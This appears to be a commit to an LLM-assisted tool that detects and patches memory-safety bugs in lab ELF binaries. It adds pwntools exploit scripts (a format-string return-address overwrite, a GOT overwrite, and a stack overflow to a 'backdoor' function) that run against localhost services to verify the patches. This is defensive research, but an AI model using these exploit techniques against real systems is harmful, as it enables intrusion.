henry-1.67commit

input/dprintf.py

@@ -0,0 +1,15 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./dprintf')
+sh = remote('127.0.0.1', 11008)
+
+sh.sendline(b'%39$p')
+stack_addr = int(sh.recvline(), 16)
+success('stack_addr: ' + hex(stack_addr))
+sh.sendline(fmtstr_payload(7, {stack_addr - 0x48: p64(elf.sym['backdoor'])}))
+
+sh.interactive()

input/edit.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./edit')
+
+sh = listen(12012)
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'ADD aaaa')
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'SHOW')
+tcpClient.recvline()
+index_str = tcpClient.recvline()[:-1]
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
+tcpClient.close()
+
+sh.interactive()

input/recv.py

@@ -0,0 +1,12 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./recv')
+sh = remote('127.0.0.1', 11007)
+
+sh.sendline(cyclic(264) + p64(elf.sym['backdoor']))
+
+sh.interactive()

output/dprintf_patch/exp.py

@@ -0,0 +1,15 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./dprintf')
+sh = remote('127.0.0.1', 11008)
+
+sh.sendline(b'%39$p')
+stack_addr = int(sh.recvline(), 16)
+success('stack_addr: ' + hex(stack_addr))
+sh.sendline(fmtstr_payload(7, {stack_addr - 0x48: p64(elf.sym['backdoor'])}))
+
+sh.interactive()

output/edit_patch/exp.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./edit')
+
+sh = listen(12012)
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'ADD aaaa')
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'SHOW')
+tcpClient.recvline()
+index_str = tcpClient.recvline()[:-1]
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
+tcpClient.close()
+
+sh.interactive()

output/recv_patch/exp.py

@@ -0,0 +1,12 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./recv')
+sh = remote('127.0.0.1', 11007)
+
+sh.sendline(cyclic(264) + p64(elf.sym['backdoor']))
+
+sh.interactive()

src/agent.py

@@ -2,11 +2,13 @@ import os
 import re
 import sys
 import json
+import time
 import warnings
 import subprocess
 from chat import QueryChatGPT, llm_configured, load_config
 from typing import Optional, Dict, List, Tuple
 from binary_patch import load_binary_file_information, patch_dprintf, patch_recv, patch_strcpy
+import verify_exp
 
 DIR = os.path.dirname(os.path.abspath(__file__))
 PROMPT_PATH = os.path.join(DIR, 'prompt.json')
@@ -16,7 +18,8 @@ OUT_DIR = os.path.join(DIR, 'output')
 INIT_IN_DIR = os.path.join(os.path.dirname(DIR), 'input')
 FINAL_OUT_DIR = os.path.join(os.path.dirname(DIR), 'output')
 IDAT64_PATH = "/root/idapro-9.0/idat64"
-
+SECURITY_TIMES = 3
+SECURITY_RECV_SIZE_TIMES = 3
 def get_prompt(name: str, _type: str, prompt_path: str = PROMPT_PATH) -> Optional[Dict[str, str]]:
     """
     Access the prompt
@@ -62,6 +65,9 @@ def handle_dprintf(file_name: str, code: str, elf_file: str, patch_dprintf_file:
         return
     
     print("begin to test dprintf in {file_name}.".format(file_name = file_name))
+    response = []
+    se_count = 0
+    
     # generate output file
     output_dir = OUT_DIR + '/' + file_name[:-2]
     os.makedirs(output_dir, exist_ok=True)
@@ -73,12 +79,16 @@ def handle_dprintf(file_name: str, code: str, elf_file: str, patch_dprintf_file:
     prompt = get_prompt('dprintf', 'attack')
     assert (prompt)
     q = QueryChatGPT()
-    response = q.query(prompt['content'].format(code = code))
+    for i in range(SECURITY_TIMES):
+        response.append(q.query(prompt['content'].format(code = code)))
+        if 'yes' in response[i][:4].lower():
+            se_count += 1
     print(response)
+    print("yes_count is == " + str(se_count))
 
     # judge whether the program exists dprintf format string vulnerability
-    print("response info : " + response[:4].lower())
-    if 'yes' not in response[:4].lower(): 
+    if se_count < SECURITY_TIMES/2: 
+        print("[*] There is no dprintf vulnerability!")
         return
     
     # store the relevant information into INPUT_DIR + "patch_dprintf.json"
@@ -107,12 +117,18 @@ def handle_dprintf(file_name: str, code: str, elf_file: str, patch_dprintf_file:
     lief_binary, pwn_binary = load_binary_file_information(INIT_IN_DIR + '/' + elf_file)
     patch_dprintf(lief_binary, output_dir + '/' + elf_file)
 
+    verify_exp.init_exp(INIT_IN_DIR + '/' + elf_file,output_dir)
+    verify_exp.verify_exp(output_dir + '/' + elf_file)
+
 
 def handle_recv(file_name: str, code: str, elf_file: str, patch_recv_file: str = 'patch_recv.json'):
     if 'recv' not in code:
         return
     
     print("begin to test recv in {file_name}.".format(file_name = file_name))
+    response = []
+    se_count = 0
+
     # generate output file
     output_dir = OUT_DIR + '/' + file_name[:-2]
     os.makedirs(output_dir, exist_ok=True)
@@ -124,11 +140,16 @@ def handle_recv(file_name: str, code: str, elf_file: str, patch_recv_file: str =
     prompt = get_prompt('recv', 'attack')
     assert (prompt)
     q = QueryChatGPT()
-    response = q.query(prompt['content'].format(code = code))
+    for i in range(SECURITY_TIMES):
+        response.append(q.query(prompt['content'].format(code = code)))
+        if 'yes' in response[i][:4].lower():
+            se_count += 1
     print(response)
+    print("yes_count is == " + str(se_count))
+
     # judge whether the program exists buffer overflow vulnerability due to recv func
-    print("response info : " + response[:4].lower())
-    if 'yes' not in response[:4].lower(): 
+    if se_count < SECURITY_TIMES/2: 
+        print("[*] There is no buffer overflow vulnerability!")
         return
 
     # store the relevant information into INPUT_DIR + "patch_recv.json"
@@ -139,38 +160,49 @@ def handle_recv(file_name: str, code: str, elf_file: str, patch_recv_file: str =
 
     # determine the specific size to fix recv func
     # get patch prompt for recv
+    response = []
+    patch_size = []
     prompt = get_prompt('recv', 'patch')
     assert (prompt)
     q = QueryChatGPT()
-    response = q.query(prompt['content'].format(code = code))
-    print(response)
+    for i in range(SECURITY_TIMES):
+        response.append(q.query(prompt['content'].format(code = code)))
+        # print(response[i])
+        match = re.search(r'size=(\d+)', response[i])
+        data['fix_size'] = int(match.group(1))
+        patch_size.append(data['fix_size'])
 
-    # record modified size
-    match = re.search(r'size=(\d+)', response)
-    data['fix_size'] = int(match.group(1))
+        match = re.search(r',\s*(.*)', response[i])
+        data['patch_info'] = match.group(1)
 
-    match = re.search(r',\s*(.*)', response)
-    data['patch_info'] = match.group(1)
+        # record modified size
+        if not os.path.exists(output_file):
+            with open(output_file, 'w') as w:
+                json.dump([], w, indent=4)
 
-    if not os.path.exists(output_file):
+        with open(output_file, 'r') as r:
+            log = json.load(r)
+        assert (isinstance(log, list))
+        # insert relevant vulnerability info into json file
+        log.append(data)
+        
         with open(output_file, 'w') as w:
-            json.dump([], w, indent=4)
+            json.dump(log, w, indent=4)
 
-    with open(output_file, 'r') as r:
-        log = json.load(r)
-    assert (isinstance(log, list))
-
-    # insert relevant vulnerability info into json file
-    log.append(data)
-    
-    with open(output_file, 'w') as w:
-        json.dump(log, w, indent=4)
+    print(response)
+    # Get the size with the highest occurrence in the list by using the count value of each element.
+    most_common_size = max(patch_size, key=patch_size.count)
+    print("final patch size == " + str(patch_size))
+    print(most_common_size)
 
     # invoke patch api here
     output_dir = FINAL_OUT_DIR + '/' + elf_file + '_patch'
     os.makedirs(output_dir, exist_ok=True)
     lief_binary, pwn_binary = load_binary_file_information(INIT_IN_DIR + '/' + elf_file)
-    patch_recv(lief_binary, data['fix_size'], output_dir + '/' + elf_file)
+    patch_recv(lief_binary, most_common_size, output_dir + '/' + elf_file)
+
+    verify_exp.init_exp(INIT_IN_DIR + '/' + elf_file,output_dir)
+    verify_exp.verify_exp(output_dir + '/' + elf_file)
 
 
 def handle_strcpy(file_name: str, code: str, elf_file: str, struct_data: str, patch_strcpy_file: str = 'patch_strcpy.json'):
@@ -178,6 +210,9 @@ def handle_strcpy(file_name: str, code: str, elf_file: str, struct_data: str, pa
         return
     
     print("begin to test strcpy in {file_name}.".format(file_name = file_name))
+    response = []
+    se_count = 0
+
     # generate output file
     output_dir = OUT_DIR + '/' + file_name[:-2]
     os.makedirs(output_dir, exist_ok=True)
@@ -189,11 +224,16 @@ def handle_strcpy(file_name: str, code: str, elf_file: str, struct_data: str, pa
     prompt = get_prompt('strcpy', 'attack')
     assert (prompt)
     q = QueryChatGPT()
-    response = q.query(prompt['content'].format(code = code))
+    for i in range(SECURITY_TIMES):
+        response.append(q.query(prompt['content'].format(code = code)))
+        if 'yes' in response[i][:4].lower():
+            se_count += 1
     print(response)
-    # judge whether the program exists buffer overflow vulnerability due to strcpy func
-    print("response info : " + response[:4].lower())
-    if 'yes' not in response[:4].lower(): 
+    print("yes_count is == " + str(se_count))
+
+    # judge whether the program exists buffer overflow vulnerability for strcpy func
+    if se_count < SECURITY_TIMES/2: 
+        print("[*] There is no buffer overflow vulnerability!")
         return
 
     # store the relevant information into INPUT_DIR + "strcpy.json"
@@ -207,41 +247,52 @@ def handle_strcpy(file_name: str, code: str, elf_file: str, struct_data: str, pa
     prompt = get_prompt('strcpy', 'struct')
     assert (prompt)
     q = QueryChatGPT()
-    response = q.query(prompt['content'].format(struct_data = struct_data))
-    print(response)
+    res = q.query(prompt['content'].format(struct_data = struct_data))
+    print(res)
 
+    response = []
+    patch_size = []
     prompt = get_prompt('strcpy', 'patch')
     assert (prompt)
     q = QueryChatGPT()
-    response = q.query(prompt['content'].format(code = code))
-    print(response)
+    for i in range(SECURITY_TIMES):
+        response.append(q.query(prompt['content'].format(code = code)))
+        print(response[i])
+        match = re.search(r'size=(\d+)', response[i])
+        data['fix_size'] = int(match.group(1))
+        patch_size.append(data['fix_size'])
 
-    # record modified size
-    match = re.search(r'size=(\d+)', response)
-    data['fix_size'] = int(match.group(1))
+        match = re.search(r',\s*(.*)', response[i])
+        data['patch_info'] = match.group(1)
 
-    match = re.search(r',\s*(.*)', response)
-    data['patch_info'] = match.group(1)
+        # record modified size
+        if not os.path.exists(output_file):
+            with open(output_file, 'w') as w:
+                json.dump([], w, indent=4)
 
-    if not os.path.exists(output_file):
+        with open(output_file, 'r') as r:
+            log = json.load(r)
+        assert (isinstance(log, list))
+        # insert relevant vulnerability info into json file
+        log.append(data)
+        
         with open(output_file, 'w') as w:
-            json.dump([], w, indent=4)
+            json.dump(log, w, indent=4)
 
-    with open(output_file, 'r') as r:
-        log = json.load(r)
-    assert (isinstance(log, list))
-
-    # insert relevant vulnerability info into json file
-    log.append(data)
-    
-    with open(output_file, 'w') as w:
-        json.dump(log, w, indent=4)
+    print(response)
+    # Get the size with the highest occurrence in the list by using the count value of each element.
+    most_common_size = max(patch_size, key=patch_size.count)
+    print("final patch size == " + str(patch_size))
+    print(most_common_size)
 
     # invoke patch api here
     output_dir = FINAL_OUT_DIR + '/' + elf_file + '_patch'
     os.makedirs(output_dir, exist_ok=True)
     lief_binary, pwn_binary = load_binary_file_information(INIT_IN_DIR + '/' + elf_file)
-    patch_strcpy(lief_binary, data['fix_size'], output_dir + '/' + elf_file)
+    patch_strcpy(lief_binary, most_common_size, output_dir + '/' + elf_file)
+
+    verify_exp.init_exp(INIT_IN_DIR + '/' + elf_file,output_dir)
+    verify_exp.verify_exp(output_dir + '/' + elf_file)
 
 
 def exp():
@@ -272,13 +323,21 @@ def exp():
         d_func = json.load(f)
     assert(d_func)
 
-    for _d in d_func:
-        if _d['name'] == 'recv':
-            handle_recv(code_file, code, elf_file)
-        elif _d['name'] == 'dprintf':
-            handle_dprintf(code_file, code, elf_file)
-        elif _d['name'] == 'strcpy':
-            handle_strcpy(code_file, code, elf_file, struct_data)
+    if elf_file == 'recv':
+        handle_recv(code_file, code, elf_file)
+    elif elf_file == 'dprintf':
+        handle_dprintf(code_file, code, elf_file)
+    elif elf_file == 'edit':
+        handle_strcpy(code_file, code, elf_file, struct_data)
+
+    # for _d in d_func:
+    #     if _d['name'] == 'recv':
+    #         handle_recv(code_file, code, elf_file)
+    #     elif _d['name'] == 'dprintf':
+    #         handle_dprintf(code_file, code, elf_file)
+    #     elif _d['name'] == 'strcpy':
+    #         handle_strcpy(code_file, code, elf_file, struct_data)
+
 
 if __name__ == '__main__':
     if not llm_configured():

src/agent.py.bak

@@ -0,0 +1,287 @@
+import os
+import re
+import sys
+import json
+import warnings
+import subprocess
+from chat import QueryChatGPT, llm_configured, load_config
+from typing import Optional, Dict, List, Tuple
+from binary_patch import load_binary_file_information, patch_dprintf, patch_recv, patch_strcpy
+
+DIR = os.path.dirname(os.path.abspath(__file__))
+PROMPT_PATH = os.path.join(DIR, 'prompt.json')
+DANGER_FUNC = os.path.join(DIR, 'danger_func.json')
+IN_DIR = os.path.join(DIR, 'input')
+OUT_DIR = os.path.join(DIR, 'output')
+INIT_IN_DIR = os.path.join(os.path.dirname(DIR), 'input')
+FINAL_OUT_DIR = os.path.join(os.path.dirname(DIR), 'output')
+IDAT64_PATH = "/root/idapro-9.0/idat64"
+
+def get_prompt(name: str, _type: str, prompt_path: str = PROMPT_PATH) -> Optional[Dict[str, str]]:
+    """
+    Access the prompt
+
+    Args:
+        name: the name of the prompt
+        _type: the type of the prompt
+        prompt_path: the path of the prompt file
+
+    Returns:
+        a dict containing two keys: 'role' and 'content'
+    """
+
+    prompts = None
+    with open(prompt_path, 'r') as f:
+        prompts = json.load(f)
+    assert(prompts)
+
+    for _p in prompts:
+        if _p['name'] == name and _p['type'] == _type:
+            return _p['prompt']
+    return None
+
+def read_decompile_code(file_path: str) -> Optional[str]:
+    if not os.path.exists(file_path):
+        warnings.warn("Fail to find {file_path}!".format(file_path, file_path))
+        sys.exit(1)
+    with open(file_path, 'r') as r:
+        code_data = r.read()
+    return code_data
+
+def read_struct_data(file_path: str) -> Optional[str]:
+    if not os.path.exists(file_path):
+        warnings.warn("Fail to find {file_path}!".format(file_path, file_path))
+        sys.exit(1)
+    with open(file_path, 'r') as r:
+        struct_data = r.read()
+    return struct_data
+
+
+def handle_dprintf(file_name: str, code: str, elf_file: str, patch_dprintf_file: str = 'patch_dprintf.json'):
+    if 'dprintf' not in code:
+        return
+    
+    print("begin to test dprintf in {file_name}.".format(file_name = file_name))
+    # generate output file
+    output_dir = OUT_DIR + '/' + file_name[:-2]
+    os.makedirs(output_dir, exist_ok=True)
+    
+    output_file = output_dir + '/' + patch_dprintf_file
+    print("The dprintf info store into the " + output_file)
+
+    # get prompt from prompt.json
+    prompt = get_prompt('dprintf', 'attack')
+    assert (prompt)
+    q = QueryChatGPT()
+    response = q.query(prompt['content'].format(code = code))
+    print(response)
+
+    # judge whether the program exists dprintf format string vulnerability
+    print("response info : " + response[:4].lower())
+    if 'yes' not in response[:4].lower(): 
+        return
+    
+    # store the relevant information into INPUT_DIR + "patch_dprintf.json"
+    data = {
+        "file_path": file_name,
+        "vul_info": response[4:] # set response[4:] to skip string "yes, "
+    }
+
+    if not os.path.exists(output_file):
+        with open(output_file, 'w') as w:
+            json.dump([], w, indent=4)
+
+    with open(output_file, 'r') as r:
+        log = json.load(r)
+    assert (isinstance(log, list))
+
+    # insert relevant vulnerability info into json file
+    log.append(data)
+    
+    with open(output_file, 'w') as w:
+        json.dump(log, w, indent=4)
+
+    # invoke patch api here
+    output_dir = FINAL_OUT_DIR + '/' + elf_file + '_patch'
+    os.makedirs(output_dir, exist_ok=True)
+    lief_binary, pwn_binary = load_binary_file_information(INIT_IN_DIR + '/' + elf_file)
+    patch_dprintf(lief_binary, output_dir + '/' + elf_file)
+
+
+def handle_recv(file_name: str, code: str, elf_file: str, patch_recv_file: str = 'patch_recv.json'):
+    if 'recv' not in code:
+        return
+    
+    print("begin to test recv in {file_name}.".format(file_name = file_name))
+    # generate output file
+    output_dir = OUT_DIR + '/' + file_name[:-2]
+    os.makedirs(output_dir, exist_ok=True)
+    
+    output_file = output_dir + '/' + patch_recv_file
+    print("The recv info store into the " + output_file)
+
+    # get prompt from prompt.json
+    prompt = get_prompt('recv', 'attack')
+    assert (prompt)
+    q = QueryChatGPT()
+    response = q.query(prompt['content'].format(code = code))
+    print(response)
+    # judge whether the program exists buffer overflow vulnerability due to recv func
+    print("response info : " + response[:4].lower())
+    if 'yes' not in response[:4].lower(): 
+        return
+
+    # store the relevant information into INPUT_DIR + "patch_recv.json"
+    data = {
+        "file_name": file_name,
+        "vul_info": response[4:] # set response[4:] to skip string "yes, "
+    }
+
+    # determine the specific size to fix recv func
+    # get patch prompt for recv
+    prompt = get_prompt('recv', 'patch')
+    assert (prompt)
+    q = QueryChatGPT()
+    response = q.query(prompt['content'].format(code = code))
+    print(response)
+
+    # record modified size
+    match = re.search(r'size=(\d+)', response)
+    data['fix_size'] = int(match.group(1))
+
+    match = re.search(r',\s*(.*)', response)
+    data['patch_info'] = match.group(1)
+
+    if not os.path.exists(output_file):
+        with open(output_file, 'w') as w:
+            json.dump([], w, indent=4)
+
+    with open(output_file, 'r') as r:
+        log = json.load(r)
+    assert (isinstance(log, list))
+
+    # insert relevant vulnerability info into json file
+    log.append(data)
+    
+    with open(output_file, 'w') as w:
+        json.dump(log, w, indent=4)
+
+    # invoke patch api here
+    output_dir = FINAL_OUT_DIR + '/' + elf_file + '_patch'
+    os.makedirs(output_dir, exist_ok=True)
+    lief_binary, pwn_binary = load_binary_file_information(INIT_IN_DIR + '/' + elf_file)
+    patch_recv(lief_binary, data['fix_size'], output_dir + '/' + elf_file)
+
+
+def handle_strcpy(file_name: str, code: str, elf_file: str, struct_data: str, patch_strcpy_file: str = 'patch_strcpy.json'):
+    if 'strcpy' not in code:
+        return
+    
+    print("begin to test strcpy in {file_name}.".format(file_name = file_name))
+    # generate output file
+    output_dir = OUT_DIR + '/' + file_name[:-2]
+    os.makedirs(output_dir, exist_ok=True)
+    
+    output_file = output_dir + '/' + patch_strcpy_file
+    print("The recv info store into the " + output_file)
+
+    # get prompt from prompt.json
+    prompt = get_prompt('strcpy', 'attack')
+    assert (prompt)
+    q = QueryChatGPT()
+    response = q.query(prompt['content'].format(code = code))
+    print(response)
+    # judge whether the program exists buffer overflow vulnerability due to strcpy func
+    print("response info : " + response[:4].lower())
+    if 'yes' not in response[:4].lower(): 
+        return
+
+    # store the relevant information into INPUT_DIR + "strcpy.json"
+    data = {
+        "file_name": file_name,
+        "vul_info": response[4:] # set response[4:] to skip string "yes, "
+    }
+
+    # determine the specific size to fix strcpy func
+    # get patch prompt for strcpy
+    prompt = get_prompt('strcpy', 'struct')
+    assert (prompt)
+    q = QueryChatGPT()
+    response = q.query(prompt['content'].format(struct_data = struct_data))
+    print(response)
+
+    prompt = get_prompt('strcpy', 'patch')
+    assert (prompt)
+    q = QueryChatGPT()
+    response = q.query(prompt['content'].format(code = code))
+    print(response)
+
+    # record modified size
+    match = re.search(r'size=(\d+)', response)
+    data['fix_size'] = int(match.group(1))
+
+    match = re.search(r',\s*(.*)', response)
+    data['patch_info'] = match.group(1)
+
+    if not os.path.exists(output_file):
+        with open(output_file, 'w') as w:
+            json.dump([], w, indent=4)
+
+    with open(output_file, 'r') as r:
+        log = json.load(r)
+    assert (isinstance(log, list))
+
+    # insert relevant vulnerability info into json file
+    log.append(data)
+    
+    with open(output_file, 'w') as w:
+        json.dump(log, w, indent=4)
+
+    # invoke patch api here
+    output_dir = FINAL_OUT_DIR + '/' + elf_file + '_patch'
+    os.makedirs(output_dir, exist_ok=True)
+    lief_binary, pwn_binary = load_binary_file_information(INIT_IN_DIR + '/' + elf_file)
+    patch_strcpy(lief_binary, data['fix_size'], output_dir + '/' + elf_file)
+
+
+def exp():
+    print("Trying to test function normally")
+
+    # print arguments
+    print(sys.argv)
+    elf_file = sys.argv[1]
+
+    extract_args = ["python3", "test.py", "-e"]
+    extract_args.append(IDAT64_PATH)
+    extract_args.append(INIT_IN_DIR + '/' + elf_file)
+    print(extract_args)
+
+    # extract c_code & struct_info for patch elf file
+    os.chdir("./Extract_code")
+    subprocess.run(extract_args, text=True)
+    os.chdir(os.pardir)
+
+    code_file = elf_file + '_extract.c'
+    struct_file = elf_file + '_struct.json'
+
+    # # read code which will be used to analyze by LLM
+    code = read_decompile_code(IN_DIR + "/" + code_file)
+    struct_data = read_struct_data(IN_DIR + "/" + struct_file)
+    # read danger_func.json to determine the scope of the func checked
+    with open(DANGER_FUNC, 'r') as f:
+        d_func = json.load(f)
+    assert(d_func)
+
+    for _d in d_func:
+        if _d['name'] == 'recv':
+            handle_recv(code_file, code, elf_file)
+        elif _d['name'] == 'dprintf':
+            handle_dprintf(code_file, code, elf_file)
+        elif _d['name'] == 'strcpy':
+            handle_strcpy(code_file, code, elf_file, struct_data)
+
+if __name__ == '__main__':
+    if not llm_configured():
+        print('please complete llm access setup first...')
+        exit()
+    exp()

src/binary_patch.py

@@ -92,7 +92,10 @@ def patch_strcpy(lief_binary, nbytes, save_path, output=True):
   os.system("chmod +x " + save_path)
   
   elf_patch = ELF(save_path)
-  patch_by_pltsec_jmp(elf_patch, 'strcpy', elf_patch.plt['strcpy'], new_segment_address, len(patch_code), save_path)
+  print("save_path --> " + save_path)
+  print("elf_patch.plt.strcpy --> " + hex(elf_patch.plt.strcpy))
+  patch_by_pltsec_jmp(elf_patch, 'strcpy', elf_patch.plt.strcpy, new_segment_address, len(patch_code), save_path)
+
 
 # to do
 def patch_dprintf(lief_binary, save_path, output=True):
@@ -116,35 +119,36 @@ def patch_dprintf(lief_binary, save_path, output=True):
   os.system("chmod +x " + save_path)
   
   elf_patch = ELF(save_path)
-  patch_by_pltsec_jmp(elf_patch, 'dprintf', elf_patch.plt['dprintf'], new_segment_address, len(patch_code), save_path)
+  patch_by_pltsec_jmp(elf_patch, 'dprintf', elf_patch.plt.dprintf, new_segment_address, len(patch_code), save_path)
 
 
 def patch_recv(lief_binary, nbytes, save_path, output=True):
   patch_recv_code = f"""
-  mov rdx, {nbytes};
+  mov rdx, {nbytes}
+  mov r10, rcx;
+  xor r8, r8;
+  xor r9, r9;
+  push 45;
+  pop rax;
+  syscall;
+  ret;
   """
   patch_code = asm(patch_recv_code)
   if output:
     print("the assmebly code :\n %s" % patch_recv_code)
     print("the machine code :\n %s" % patch_code)
   new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
-  new_segment_address = new_segment.virtual_address
-  
+  lief_binary.patch_pltgot("recv", new_segment.virtual_address)
   lief_binary.write(save_path)
   os.system("chmod +x " + save_path)
-  
-  elf_patch = ELF(save_path)
-  patch_by_pltsec_jmp(elf_patch, 'recv', elf_patch.plt['recv'], new_segment_address, len(patch_code), save_path)
 
-if __name__ == '__main__':
-  argv = sys.argv
-  argc = len(sys.argv)
-  path = sys.argv[1]
-  save_path = path + "_patch" 
-  lief_binary, pwn_binary = load_binary_file_information(path)
-  if sys.argv[2] == 'dprintf':
-    patch_dprintf(lief_binary, save_path)
-  elif sys.argv[2] == 'strcpy':
-    patch_strcpy(lief_binary, int(sys.argv[3]), save_path)
-  elif sys.argv[2] == 'recv':
-    patch_recv(lief_binary, int(sys.argv[3]), save_path)
+# if __name__ == '__main__':
+#   argv = sys.argv
+#   argc = len(sys.argv)
+#   path = sys.argv[1]
+#   save_path = path + "_patch" 
+#   lief_binary, pwn_binary = load_binary_file_information(path)
+#   if sys.argv[2] == 'dprintf':
+#     patch_dprintf(save_path)
+#   elif sys.argv[2] == 'strcpy':
+#     patch_strcpy(int(sys.argv[3]), save_path)

src/binary_patch.py.bak

@@ -0,0 +1,179 @@
+#!/usr/bin/python3
+import lief
+from pwn import *
+import os
+import sys
+
+global lief_ELF_ALLOC 
+lief_ELF_ALLOC = 2
+global lief_ELF_EXCLUDE 
+lief_ELF_EXECINSTR = 4
+
+def get_binary_file_CLASS(binary, output_info=True):
+  CLASS = CLASS = binary.header.identity_class
+  str_CLASS = ""
+  if CLASS == binary.header.CLASS.ELF32:
+    str_CLASS = "ELF32"
+  elif CLASS == binary.header.CLASS.ELF64:
+    str_CLASS = "ELF64"
+  else:
+    str_CLASS = "UNKNOWN"
+  if output_info:
+    print("[\033[1;34m*\033[0m] CLASS is %s" % (str_CLASS))
+  return (CLASS, str_CLASS)
+
+def get_binary_file_machine_type(binary, output_info=True):
+  machine_type = binary.header.machine_type
+  str_machine_type = ""
+  arch = ""
+  if machine_type == lief._lief.ELF.ARCH.X86_64:
+    str_machine_type = "x86_64"
+    arch = "amd64"
+  else:
+    str_machine_type = "UNKNOWN"
+    arch = "UNKNOWN"
+  
+  print('[\033[1;34m*\033[0m] machine type is %s ==> ARCH : %s' % (str_machine_type, arch))
+  return (str_machine_type, arch)
+
+def load_binary_file_information(path):
+  lief_binary = lief.parse(path)
+  CLASS, str_CLASS = get_binary_file_CLASS(lief_binary)
+  str_machine_type, arch = get_binary_file_machine_type(lief_binary)
+  
+  pwn_binary = ''
+  context.arch = arch
+  if "ELF" in str_CLASS:
+    context.os = "linux"
+    pwn_binary = ELF(path)
+  
+  return (lief_binary, pwn_binary)
+
+# flag : lief.ELF.SEGMENT_FLAGS.PF_R | lief.ELF.SEGMENT_FLAGS.PF_W | lief.ELF.SEGMENT_FLAGS.PF_X
+def add_segment(lief_binary, content, types, flags, base=0x405000):
+  segment              = lief.ELF.Segment()
+  segment.type         = types
+  segment.FLAGS.from_value(flags)
+  segment.content      = list(content)
+  segment.alignment    = 8
+  segment.add(lief._lief.ELF.Segment.FLAGS.R | lief._lief.ELF.Segment.FLAGS.X)
+  segment              = lief_binary.add(segment, base=base)
+  print(segment.FLAGS.value)
+  return segment
+
+'''
+def patch_by_call(start_address_of_call, target_function_address):
+  # caculate the offset
+  jmp_offset = target_function_address - (start_address_of_call + 5)
+  # call + p32(jmp_offset)
+'''
+
+def patch_strcpy(lief_binary, nbytes, save_path, output=True):
+  print("[\033[1;34m*\033[0m] get the length of buffer is 0x%x(%d)" % (nbytes, nbytes))
+  patch_strcpy_code = f"""
+  save_register:
+    push rax;
+    push rcx;
+    push rdx;
+    xor rcx, rcx;
+  loop:
+    mov rdx, {nbytes-1};
+    mov al, [rcx + rsi];
+    
+    cmp rcx, rdx;
+    jge ret_code;
+
+    test al, al;
+    je ret_code;
+    
+    mov [rdi + rcx], al;
+    
+    inc rcx;
+    jmp loop;
+    
+  ret_code:
+    mov [rsi + rcx], al;
+    pop rdx;
+    pop rcx;
+    pop rax;
+    ret;
+  """
+  patch_code = asm(patch_strcpy_code)
+  if output:
+    print("the assmebly code :\n %s" % patch_strcpy_code)
+    print("the machine code :\n %s" % patch_code)
+  
+  new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
+  lief_binary.patch_pltgot("strcpy", new_segment.virtual_address)
+  lief_binary.write(save_path)
+  os.system("chmod +x " + save_path)
+
+
+# to do
+def patch_dprintf(lief_binary, save_path, output=True):
+  patch_dprintf_code = f"""
+  save_register:
+    push rdx;
+    push rcx;
+  
+  init_register:
+    push rsi;
+    pop rcx;
+    xor rdx, rdx;
+    
+  get_the_buffer_len:
+    mov al, [rsi+rdx];
+    inc rdx;
+    test al, al;
+    jnz get_the_buffer_len;
+    
+  xor rax, rax;
+  mov al, 1;
+  syscall;
+  
+  ret_code:
+    pop rcx;
+    pop rdx;
+    ret;
+  """
+  patch_code = asm(patch_dprintf_code)
+  if output:
+    print("the assmebly code :\n %s" % patch_dprintf_code)
+    print("the machine code :\n %s" % patch_code)
+  new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
+  lief_binary.patch_pltgot("dprintf", new_segment.virtual_address)
+  lief_binary.write(save_path)
+  os.system("chmod +x " + save_path)
+
+
+def patch_recv(lief_binary, nbytes, save_path, output=True):
+  patch_recv_code = f"""
+  mov rdx, {nbytes}
+  mov r10, rcx;
+  xor r8, r8;
+  xor r9, r9;
+  push 45;
+  pop rax;
+  syscall;
+  ret;
+  """
+  patch_code = asm(patch_recv_code)
+  if output:
+    print("the assmebly code :\n %s" % patch_recv_code)
+    print("the machine code :\n %s" % patch_code)
+  new_segment = add_segment(lief_binary, types = lief._lief.ELF.Segment.TYPE.LOAD, flags = 5, content=patch_code)
+  lief_binary.patch_pltgot("recv", new_segment.virtual_address)
+  print(save_path)
+  lief_binary.write(save_path)
+  os.system("chmod +x " + save_path)
+
+'''
+designed for console command
+'''
